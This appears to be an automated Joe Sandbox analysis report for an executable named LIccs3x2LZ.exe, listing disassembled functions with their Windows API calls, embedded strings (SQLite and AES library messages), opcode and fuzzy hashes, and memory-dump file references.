Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 2221118986-1728192754
Opcode ID: 0f429b8687746d2523ed464b08f80232742fc917955badecffb1c95ac63c53b4
Instruction ID: 65c53ea9da74488988dad6b0992d03b5a5ee60f73815825bd4a93b72a75344bd
Opcode Fuzzy Hash: 0f429b8687746d2523ed464b08f80232742fc917955badecffb1c95ac63c53b4
Instruction Fuzzy Hash: 6E51C17260AB81A6EB54CF25E5483A9B3A4FB48BC5F184036EE5D07B55DF38E492C324

Function 00007FF8A89C9B42 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00007FF8A89C9C68

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89C9C0D
%s at line %d of [%.10s], xrefs: 00007FF8A89C9C26
database corruption, xrefs: 00007FF8A89C9C1A

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memcmp
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 1475443563-1728192754
Opcode ID: e0ae5ce1e94527b2a10a5361f3375e0927b56b7731992656d9d55d94d16068cb
Instruction ID: e4f72f1407aa422a1e878fac1a2d95a78d816ac436e38f8a71f4a407cb41a531
Opcode Fuzzy Hash: e0ae5ce1e94527b2a10a5361f3375e0927b56b7731992656d9d55d94d16068cb
Instruction Fuzzy Hash: 7F4136A6A0D591A9E7158B24F4057BDBF90EB88BD1F0C4031CF5C43A86DF7EE1968724

Function 00007FF6929F66D8 Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00007FF6929F670B
GetFileInformationByHandle.KERNEL32 ref: 00007FF6929F676D
GetLastError.KERNEL32 ref: 00007FF6929F67FE
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6929F6610), ref: 00007FF6929F684A

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 77bca5f2b499945077be2e31c411e207fda1b30dacdec75b7e6b5811779d4ab0
Instruction ID: c3d913071b84f9a50f7b782221daf76038d0244198d443fc55e9ac648bbba86b
Opcode Fuzzy Hash: 77bca5f2b499945077be2e31c411e207fda1b30dacdec75b7e6b5811779d4ab0
Instruction Fuzzy Hash: B6517E22E187418AFB64DF76D4503BE23A1EF48B5CF108578EE1D8B68ADFB8D8519740

Function 00007FF8A89AC480 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,?,?,?,?,?,?,-00000001,?,00007FF8A89AFD6D), ref: 00007FF8A89AC540

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89AC5D2
%s at line %d of [%.10s], xrefs: 00007FF8A89AC5EB
database corruption, xrefs: 00007FF8A89AC5DF

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 2221118986-1728192754
Opcode ID: dff89f0728ff0bc3b09ba8f1dca1a88574171504b55275a2ef65138a4f1a18f0
Instruction ID: 5a8733532e4898b88cb47f59426ca75f8d449393c69b48594f3ff4e1e1f43e69
Opcode Fuzzy Hash: dff89f0728ff0bc3b09ba8f1dca1a88574171504b55275a2ef65138a4f1a18f0
Instruction Fuzzy Hash: E6410472A0A68295EB608F19E0443BAB7A1FB84BC5F085135FE4E5B794EF3CD502C704

Function 00007FF8A8993A40 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 93COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8993B91

Strings

-, xrefs: 00007FF8A8993B7C
string or blob too big, xrefs: 00007FF8A8993B37
%02d:%02d:%02d, xrefs: 00007FF8A8993A9D

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: %02d:%02d:%02d$-$string or blob too big
API String ID: 2162964266-3753062166
Opcode ID: 071e839d5eab5f2be2fffd49e546f8dbae8cf5498912ed7fb0b6c8b612424199
Instruction ID: e085b4cebce3c5355a94beea7f229344fdf2027a9e5a149fd28968f6ac8fc6c8
Opcode Fuzzy Hash: 071e839d5eab5f2be2fffd49e546f8dbae8cf5498912ed7fb0b6c8b612424199
Instruction Fuzzy Hash: 6641AF72A0AB8196EB60CF15D0443B973A4FB84B98F085136DB9D47799EF3CE440DB64

Function 00007FF8A8993BE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 93COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8993D31

Strings

-, xrefs: 00007FF8A8993D1C
string or blob too big, xrefs: 00007FF8A8993CD7
%04d-%02d-%02d, xrefs: 00007FF8A8993C37

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: %04d-%02d-%02d$-$string or blob too big
API String ID: 2162964266-3792497948
Opcode ID: 9292b010b84282c2a61ef395ac675834dd192837cc78fb0080f65c6d15a12f8f
Instruction ID: a8d90d492e2d66e97c2c2e68b686c856aa069f4740464b10328794c6aef57e90
Opcode Fuzzy Hash: 9292b010b84282c2a61ef395ac675834dd192837cc78fb0080f65c6d15a12f8f
Instruction Fuzzy Hash: 6741907260AB8196EB60CF11D4443AA73A4FB84BC8F085136DE9D07799EF3CE441DB64

Function 00007FF8A89B8DA0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 82COMMON

Download Yara Rule

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89B8DF7
%s at line %d of [%.10s], xrefs: 00007FF8A89B8E10
database corruption, xrefs: 00007FF8A89B8E04

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 0-1728192754
Opcode ID: c4b832107a1972f9ff62e7f06523df77ae135798939602e7b898924bed4cc011
Instruction ID: a77e6b98eb09f5b4408692fe80053d62865dff986a4dee254a6d2331fd4a64b3
Opcode Fuzzy Hash: c4b832107a1972f9ff62e7f06523df77ae135798939602e7b898924bed4cc011
Instruction Fuzzy Hash: 1731CE72A0A6C19ED304CF2AD04417D7BA0E749B85F084139EF995B399EB3CD565CB60

Function 00007FF6929EC580 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6929EC5AC
GetCurrentThreadId.KERNEL32 ref: 00007FF6929EC5BA
GetCurrentProcessId.KERNEL32 ref: 00007FF6929EC5C6
QueryPerformanceCounter.KERNEL32 ref: 00007FF6929EC5D6

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: d3533d9dc536a73865986143b90d72cf7f467817cff5a9e1fc853e7b0dbb7422
Instruction ID: 0fc15be6298a02d69addb9769baaa9d559227e9287b0cc5ac5bb30abde8c16c7
Opcode Fuzzy Hash: d3533d9dc536a73865986143b90d72cf7f467817cff5a9e1fc853e7b0dbb7422
Instruction Fuzzy Hash: 9F114837B59F028AFB109F61E8442B833A4FB29758F040E35DA6D867A4DFB8D1988340

Function 00007FF8B7DF150C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8B7DF1538
GetCurrentThreadId.KERNEL32 ref: 00007FF8B7DF1546
GetCurrentProcessId.KERNEL32 ref: 00007FF8B7DF1552
QueryPerformanceCounter.KERNEL32 ref: 00007FF8B7DF1562

Memory Dump Source

Source File: 00000003.00000002.2147938757.00007FF8B7DF1000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8B7DF0000, based on PE: true

Associated: 00000003.00000002.2147904992.00007FF8B7DF0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000003.00000002.2147967359.00007FF8B7DF3000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000003.00000002.2147988549.00007FF8B7DF5000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7df0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction ID: 703384860b30e401ced417ebc8f2b414a249fc6604cff5f3ed6d1e5c9abc1f3f
Opcode Fuzzy Hash: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction Fuzzy Hash: 4C113022B14F0189EB00CF68E8542BC33A4F719798F480E31DB6D5A7A8DF7CD1988340

Function 00007FF8B7E2150C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8B7E21538
GetCurrentThreadId.KERNEL32 ref: 00007FF8B7E21546
GetCurrentProcessId.KERNEL32 ref: 00007FF8B7E21552
QueryPerformanceCounter.KERNEL32 ref: 00007FF8B7E21562

Memory Dump Source

Source File: 00000003.00000002.2148312417.00007FF8B7E21000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FF8B7E20000, based on PE: true

Associated: 00000003.00000002.2148282396.00007FF8B7E20000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000003.00000002.2148331271.00007FF8B7E23000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000003.00000002.2148347484.00007FF8B7E25000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7e20000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction ID: 41b3e7f3592507b00c0a4d084f4ec1db1acefc7d842789fdd9ce4b4de59d21a2
Opcode Fuzzy Hash: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction Fuzzy Hash: 23113922B14F018AEB00CF68E8546BC33A4FB19B98F441E31EB6D867A4DF7CD5988750

Function 00007FF8B783150C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8B7831538
GetCurrentThreadId.KERNEL32 ref: 00007FF8B7831546
GetCurrentProcessId.KERNEL32 ref: 00007FF8B7831552
QueryPerformanceCounter.KERNEL32 ref: 00007FF8B7831562

Memory Dump Source

Source File: 00000003.00000002.2146816229.00007FF8B7831000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00007FF8B7830000, based on PE: true

Associated: 00000003.00000002.2146783438.00007FF8B7830000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146845733.00007FF8B7833000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146872045.00007FF8B7834000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146889398.00007FF8B7835000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7830000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction ID: 553f0605b7190b0c447ccd700a31bbf789c92e05484aca49d948112584724c5a
Opcode Fuzzy Hash: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction Fuzzy Hash: DB111C22B54F018AEB408B68E8542BC37A4F71DB98F450D31EB6D47BA4DF7CD1988340

Function 00007FF8B7DE150C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF8B7DE1538
GetCurrentThreadId.KERNEL32 ref: 00007FF8B7DE1546
GetCurrentProcessId.KERNEL32 ref: 00007FF8B7DE1552
QueryPerformanceCounter.KERNEL32 ref: 00007FF8B7DE1562

Memory Dump Source

Source File: 00000003.00000002.2147675299.00007FF8B7DE1000.00000020.00000001.01000000.00000019.sdmp, Offset: 00007FF8B7DE0000, based on PE: true

Associated: 00000003.00000002.2147595433.00007FF8B7DE0000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147802650.00007FF8B7DE3000.00000002.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147833244.00007FF8B7DE4000.00000004.00000001.01000000.00000019.sdmpDownload File
Associated: 00000003.00000002.2147876592.00007FF8B7DE5000.00000002.00000001.01000000.00000019.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7de0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction ID: 624b376e9f3cc3078fdc23018a90ef32fab933d5b447918b5336d96ad03c5862
Opcode Fuzzy Hash: 57e55c07fb4b7e3f2d380650e9b8758557fae20b4aa4a558b4cbdb1162b5ee6f
Instruction Fuzzy Hash: DD11E826B14F018AEF01CF64E8552BC33A4FB59B98F481E35EB6D567A8DF78D1988340

Function 00007FF6929E8530 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00007FF6929E8536
GetCurrentProcessId.KERNEL32 ref: 00007FF6929E8549
GetWindowThreadProcessId.USER32 ref: 00007FF6929E8559
ShowWindow.USER32 ref: 00007FF6929E856E

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Window$Process$ConsoleCurrentShowThread
String ID:
API String ID: 242035731-0
Opcode ID: dc119808c190f3f609372cde833c1319ecd6838c5863d1c5dc0248c8f4992b64
Instruction ID: 7f68a3e824d9c3b848c033efdba15228e63b283e92bc725de70707c27a8c40a1
Opcode Fuzzy Hash: dc119808c190f3f609372cde833c1319ecd6838c5863d1c5dc0248c8f4992b64
Instruction Fuzzy Hash: 97F03023E28B4282FBA46B66B44403963A2FF89B98F0850B0D94E82264DE7CE4958610

Function 00007FF6929E86A0 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 00007FF6929E86A6
GetCurrentProcessId.KERNEL32 ref: 00007FF6929E86B9
GetWindowThreadProcessId.USER32 ref: 00007FF6929E86C9
ShowWindow.USER32 ref: 00007FF6929E86E1

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Window$Process$ConsoleCurrentShowThread
String ID:
API String ID: 242035731-0
Opcode ID: ef1b52002b078da6e4bc146513f63fb1d7b490387893660315a42f1c57b8f302
Instruction ID: eab7894420688c503d53f56b54ef352dd381d3527b91ec41faab4465f3adb5d7
Opcode Fuzzy Hash: ef1b52002b078da6e4bc146513f63fb1d7b490387893660315a42f1c57b8f302
Instruction Fuzzy Hash: 79F03073A28B4282FF606B62A44453963A1FF89B98F0810B0D94E87B64DF7CE495C700

Function 00007FF692A06D2C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF692A02970: _invalid_parameter_noinfo.LIBCMT ref: 00007FF692A029A3

_get_daylight.LIBCMT ref: 00007FF692A06E44
_get_daylight.LIBCMT ref: 00007FF692A06E55

Strings

?, xrefs: 00007FF692A06DD5

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: cb6cd683017cd20f7b4615a471f7e3160e9b6836ece7df3990300d1a03230fd4
Instruction ID: e0fd9d29d94dfe9e9f4c489166ad789130f2235e6e758f05a82188ba1f0b540e
Opcode Fuzzy Hash: cb6cd683017cd20f7b4615a471f7e3160e9b6836ece7df3990300d1a03230fd4
Instruction Fuzzy Hash: 85410923A187824AFB749B26D4417BA67A0EF82FACF144275EE5C86AD5DE7CD441CB00

Function 00007FF6929F9EF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F9F22

Part of subcall function 00007FF6929FB404: RtlFreeHeap.NTDLL(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB41A
Part of subcall function 00007FF6929FB404: GetLastError.KERNEL32(?,?,?,00007FF692A03F32,?,?,?,00007FF692A03F6F,?,?,00000000,00007FF692A04435,?,?,?,00007FF692A04367), ref: 00007FF6929FB424

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF6929EC105), ref: 00007FF6929F9F40

Strings

C:\Users\user\Desktop\LIccs3x2LZ.exe, xrefs: 00007FF6929F9F2E

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\LIccs3x2LZ.exe
API String ID: 3580290477-4004271235
Opcode ID: 716fb3d0e6b86e35374ab78206596f0f0c380e94d10f38da80ca70c85c175384
Instruction ID: 68f6a06e05874cad2e833da77e3db9bb45c628c5ff33d8e3382261a1c83ea2f2
Opcode Fuzzy Hash: 716fb3d0e6b86e35374ab78206596f0f0c380e94d10f38da80ca70c85c175384
Instruction Fuzzy Hash: 7A417F72A08B1286FBB4DF26A8500FA27A4FF497C8B554075F94E87B96DF7CE8419300

Function 00007FF6929FDAD8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6929FDBEF
GetLastError.KERNEL32 ref: 00007FF6929FDC11

Strings

U, xrefs: 00007FF6929FDB9B

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: cb87ea1d99dc886f50d571e7adc08eb5a7dc8047dd93f89a11db01e9e971137a
Instruction ID: 9fa8578a8ee7a09d67ec75ab79d2e3faa6686a2702ea16ddefdd864ad53a22b8
Opcode Fuzzy Hash: cb87ea1d99dc886f50d571e7adc08eb5a7dc8047dd93f89a11db01e9e971137a
Instruction Fuzzy Hash: D041B273A18A4185EB70DF26E8443AA67A0FB98B98F404035EE4EC7799DFBCD441D750

Function 00007FF8B7832B64 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

_wassert.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B7832BF2

Strings

(idx>=1) && (idx<=10), xrefs: 00007FF8B7832BEB
src/AESNI.c, xrefs: 00007FF8B7832BE4

Memory Dump Source

Source File: 00000003.00000002.2146816229.00007FF8B7831000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00007FF8B7830000, based on PE: true

Associated: 00000003.00000002.2146783438.00007FF8B7830000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146845733.00007FF8B7833000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146872045.00007FF8B7834000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146889398.00007FF8B7835000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7830000_LIccs3x2LZ.jbxd

Similarity

API ID: _wassert
String ID: (idx>=1) && (idx<=10)$src/AESNI.c
API String ID: 3234217646-2495715787
